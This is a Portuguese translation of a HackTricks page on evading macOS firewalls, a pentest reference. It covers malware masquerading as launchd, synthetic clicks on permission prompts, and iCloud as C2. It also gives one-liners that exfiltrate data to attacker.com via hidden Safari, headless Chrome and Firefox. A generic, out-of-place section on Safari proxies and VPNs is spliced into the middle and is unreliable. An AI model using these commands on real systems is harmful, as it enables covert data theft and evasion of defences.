hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md

7.4 KiB

Bypassando Firewalls no macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Técnicas encontradas

As seguintes técnicas foram encontradas funcionando em alguns aplicativos de firewall do macOS.

Abusando de nomes de lista de permissões

  • Por exemplo, chamando o malware com nomes de processos conhecidos do macOS, como launchd

Clique sintético

  • Se o firewall solicitar permissão ao usuário, faça o malware clicar em permitir

Usar binários assinados pela Apple

  • Como curl, mas também outros como whois

Domínios conhecidos da Apple

O firewall pode permitir conexões com domínios conhecidos da Apple, como apple.com ou icloud.com. E o iCloud pode ser usado como um C2.

Bypass genérico

Algumas ideias para tentar burlar firewalls

Verificar tráfego permitido

Saber o tráfego permitido ajudará a identificar domínios potencialmente na lista de permissões ou quais aplicativos têm permissão para acessá-los

lsof -i TCP -sTCP:ESTABLISHED

Abusando do DNS

As resoluções de DNS são feitas através do aplicativo assinado mdnsreponder, que provavelmente será permitido a entrar em contato com os servidores DNS.

Através de aplicativos de navegador

  • oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome

{% code overflow="wrap" %}

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

{% endcode %}

  • Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"

Bypassando Firewalls no macOS

Safari

O Safari é o navegador padrão do macOS e possui recursos de segurança que podem ajudar a proteger contra ataques de rede. No entanto, existem técnicas que podem ser usadas para contornar as restrições do firewall e permitir o acesso a recursos bloqueados.

Usando um Proxy

Uma maneira de contornar o firewall é configurar um proxy no Safari. Um proxy atua como intermediário entre o navegador e a Internet, permitindo que o tráfego passe por ele sem ser bloqueado pelo firewall.

Para configurar um proxy no Safari, siga estas etapas:

  1. Abra as Preferências do Safari.
  2. Vá para a guia "Avançado".
  3. Clique em "Alterar configurações do proxy".
  4. Selecione a opção "Web Proxy (HTTP)".
  5. Insira o endereço IP e a porta do proxy.
  6. Clique em "OK" para salvar as configurações.

Depois de configurar o proxy, o tráfego do Safari será roteado através dele, permitindo que você acesse recursos bloqueados pelo firewall.

Usando uma VPN

Outra maneira de contornar o firewall é usar uma VPN (Rede Virtual Privada). Uma VPN cria uma conexão segura entre o seu dispositivo e um servidor remoto, permitindo que você acesse a Internet de forma segura e contorne as restrições do firewall.

Existem várias opções de VPN disponíveis para o macOS. Você pode escolher uma VPN paga ou usar uma VPN gratuita. Para configurar uma VPN no macOS, siga as instruções fornecidas pelo provedor de VPN escolhido.

Depois de configurar a VPN, você poderá usar o Safari para acessar recursos bloqueados pelo firewall.

Conclusão

Embora o Safari possua recursos de segurança para proteger contra ataques de rede, é possível contornar as restrições do firewall usando um proxy ou uma VPN. No entanto, é importante lembrar que contornar o firewall pode violar as políticas de segurança da rede e pode ser considerado uma atividade não autorizada. Portanto, sempre obtenha permissão adequada antes de tentar contornar o firewall.

open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

Através de injeções de processos

Se você puder injetar código em um processo que tem permissão para se conectar a qualquer servidor, poderá contornar as proteções do firewall:

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥